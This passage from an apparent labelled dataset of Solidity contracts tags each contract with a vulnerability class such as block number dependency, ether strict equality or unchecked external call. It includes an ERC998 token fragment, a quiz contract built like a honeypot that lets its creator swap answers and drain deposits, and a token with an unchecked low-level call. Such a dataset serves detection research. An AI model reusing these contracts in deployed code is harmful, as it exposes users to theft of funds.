""The tokenId does not exist.""); return ( mokens[_tokenId].name, eraFromMokenData(data), data, address(data) ); } function mokenBytes32(uint256 _tokenId) external view returns (bytes32 mokenNameBytes32, bytes32 era, bytes32 data, address tokenOwner) { data = bytes32(mokens[_tokenId].data); require(data != 0, ""The tokenId does not exist.""); bytes memory mokenNameBytes = bytes(mokens[_tokenId].name); require(mokenNameBytes.length != 0, ""The tokenId does not exist.""); assembly { mokenNameBytes32 := mload(add(mokenNameBytes, 32)) } return ( mokenNameBytes32, eraFromMokenData(data), data, address(data) ); } function mokenNoName(uint256 _tokenId) external view returns (bytes32 era, bytes32 data, address tokenOwner) { data = bytes32(mokens[_tokenId].data); require(data != 0, ""The tokenId does not exist.""); return ( eraFromMokenData(data), data, address(data) ); } function mokenName(uint256 _tokenId) external view returns (string memory mokenName_) { mokenName_ = mokens[_tokenId].name; require(bytes(mokenName_).length != 0, ""The tokenId does not exist.""); return mokenName_; } function mokenNameBytes32(uint256 _tokenId) external view returns (bytes32 mokenNameBytes32_) { bytes memory mokenNameBytes = bytes(mokens[_tokenId].name); require(mokenNameBytes.length != 0, ""The tokenId does not exist.""); assembly { mokenNameBytes32_ := mload(add(mokenNameBytes, 32)) } return mokenNameBytes32_; } function() external { bytes memory data = msg.data; assembly { let result := delegatecall(gas, sload(delegate_slot), add(data, 0x20), mload(data), 0, 0) let size := returndatasize let ptr := mload(0x40) returndatacopy(ptr, 0, size) switch result case 0 {revert(ptr, size)} default {return (ptr, size)} } } function receiveChild(address _from, uint256 _toTokenId, address _childContract, uint256 _childTokenId) internal { require(address(mokens[_toTokenId].data) != address(0), ""_tokenId does not exist.""); require(childTokenOwner[_childContract][_childTokenId] == 0, ""Child token already received.""); uint256 childTokensLength = childTokens[_toTokenId][_childContract].length; if (childTokensLength == 0) { childContractIndex[_toTokenId][_childContract] = childContracts[_toTokenId].length; childContracts[_toTokenId].push(_childContract); } childTokenIndex[_toTokenId][_childContract][_childTokenId] = childTokensLength; childTokens[_toTokenId][_childContract].push(_childTokenId); childTokenOwner[_childContract][_childTokenId] = _toTokenId + 1; emit ReceivedChild(_from, _toTokenId, _childContract, _childTokenId); } function getChild(address _from, uint256 _toTokenId, address _childContract, uint256 _childTokenId) external { receiveChild(_from, _toTokenId, _childContract, _childTokenId); require(_from == msg.sender || ERC721(_childContract).getApproved(_childTokenId) == msg.sender || ERC721(_childContract).isApprovedForAll(_from, msg.sender), ""msg.sender is not owner/operator/approved for child token.""); ERC721(_childContract).transferFrom(_from, this, _childTokenId); } function onERC721Received(address _from, uint256 _childTokenId, bytes _data) external returns (bytes4) { require(_data.length > 0, ""_data must contain the uint256 tokenId to transfer the child token to.""); uint256 toTokenId; assembly {toTokenId := calldataload(132)} if (_data.length < 32) { toTokenId = toTokenId >> 256 - _data.length * 8; } receiveChild(_from, toTokenId, msg.sender, _childTokenId); require(ERC721(msg.sender).ownerOf(_childTokenId) != address(0), ""Child token not owned.""); return ERC721_RECEIVED_OLD; } function onERC721Received(address _operator, address _from, uint256 _childTokenId, bytes _data) external returns (bytes4) { require(_data.length > 0, ""_data must contain the uint256 tokenId to transfer the child token to.""); uint256 toTokenId; assembly {toTokenId := calldataload(164)} if (_data.length < 32) { toTokenId = toTokenId >> 256 - _data.length * 8; } receiveChild(_from, toTokenId, msg.sender, _childTokenId); require(ERC721(msg.sender).ownerOf(_childTokenId) != address(0), ""Child token not owned.""); return ERC721_RECEIVED_NEW; } function ownerOfChild(address _childContract, uint256 _childTokenId) external view returns (bytes32 parentTokenOwner, uint256 parentTokenId) { parentTokenId = childTokenOwner[_childContract][_childTokenId]; require(parentTokenId != 0, ""ERC721 token is not a child in this contract.""); parentTokenId--; return (ERC998_MAGIC_VALUE << 224 | bytes32(address(mokens[parentTokenId].data)), parentTokenId); } function childExists(address _childContract, uint256 _childTokenId) external view returns (bool) { return childTokenOwner[_childContract][_childTokenId] != 0; } function totalChildContracts(uint256 _tokenId) external view returns (uint256) { return childContracts[_tokenId].length; } function childContractByIndex(uint256 _tokenId, uint256 _index) external view returns (address childContract) { require(_index < childContracts[_tokenId].length, ""Contract address does not exist for this token and index.""); return childContracts[_tokenId][_index]; } function totalChildTokens(uint256 _tokenId, address _childContract) external view returns (uint256) { return childTokens[_tokenId][_childContract].length; } function childTokenByIndex(uint256 _tokenId, address _childContract, uint256 _index) external view returns (uint256 childTokenId) { require(_index < childTokens[_tokenId][_childContract].length, ""Token does not own a child token at contract address and index.""); return childTokens[_tokenId][_childContract][_index]; } function balanceOfERC20(uint256 _tokenId, address _erc20Contract) external view returns (uint256) { return erc20Balances[_tokenId][_erc20Contract]; } function erc20ContractByIndex(uint256 _tokenId, uint256 _index) external view returns (address) { require(_index < erc20Contracts[_tokenId].length, ""Contract address does not exist for this token and index.""); return erc20Contracts[_tokenId][_index]; } function totalERC20Contracts(uint256 _tokenId) external view returns (uint256) { return erc20Contracts[_tokenId].length; } function tokenOwnerOf(uint256 _tokenId) external view returns (bytes32 tokenOwner, uint256 parentTokenId, bool isParent) { address tokenOwnerAddress = address(mokens[_tokenId].data); require(tokenOwnerAddress != address(0), ""tokenId not found.""); parentTokenId = mokens[_tokenId].parentTokenId; isParent = parentTokenId > 0; if (isParent) { parentTokenId--; } return (ERC998_MAGIC_VALUE << 224 | bytes32(tokenOwnerAddress), parentTokenId, isParent); } function totalChildTokens(address _parentContract, uint256 _parentTokenId) public view returns (uint256) { return parentToChildTokenIds[_parentContract][_parentTokenId].length; } function childTokenByIndex(address _parentContract, uint256 _parentTokenId, uint256 _index) public view returns (uint256) { require(parentToChildTokenIds[_parentContract][_parentTokenId].length > _index, ""Child not found at index.""); return parentToChildTokenIds[_parentContract][_parentTokenId][_index]; } }",./Dataset/block number dependency (BN),0,0 1496.sol,"pragma solidity ^0.4.20; contract qui_qz { function Try(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>1 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function Start_qui_qz(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { require(msg.sender==questionSender); question = _question; responseHash = _responseHash; } function() public payable{} }",./Dataset/ether strict equality (SE),3,3 31606.sol,"pragma solidity ^0.4.0; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract SmartcoinsToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function SmartcoinsToken( ) { balances[msg.sender] = 1000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 1000000000000; // Update total supply (100000 for example) name = ""Smartcoins""; // Set the name for display purposes decimals = 4; // Amount of decimals for display purposes symbol = ""SMACS""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 413.sol," pragma solidity ^0.4.10; contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function randomDS_getSessionPubKeyHash() external constant returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ return oraclize_setNetwork(); networkID; } function oraclize_setNetwork() internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName(""eth_mainnet""); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName(""eth_ropsten3""); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName(""eth_kovan""); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName(""eth_rinkeby""); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) public { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) public { return; myid; result; proof; } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal pure returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 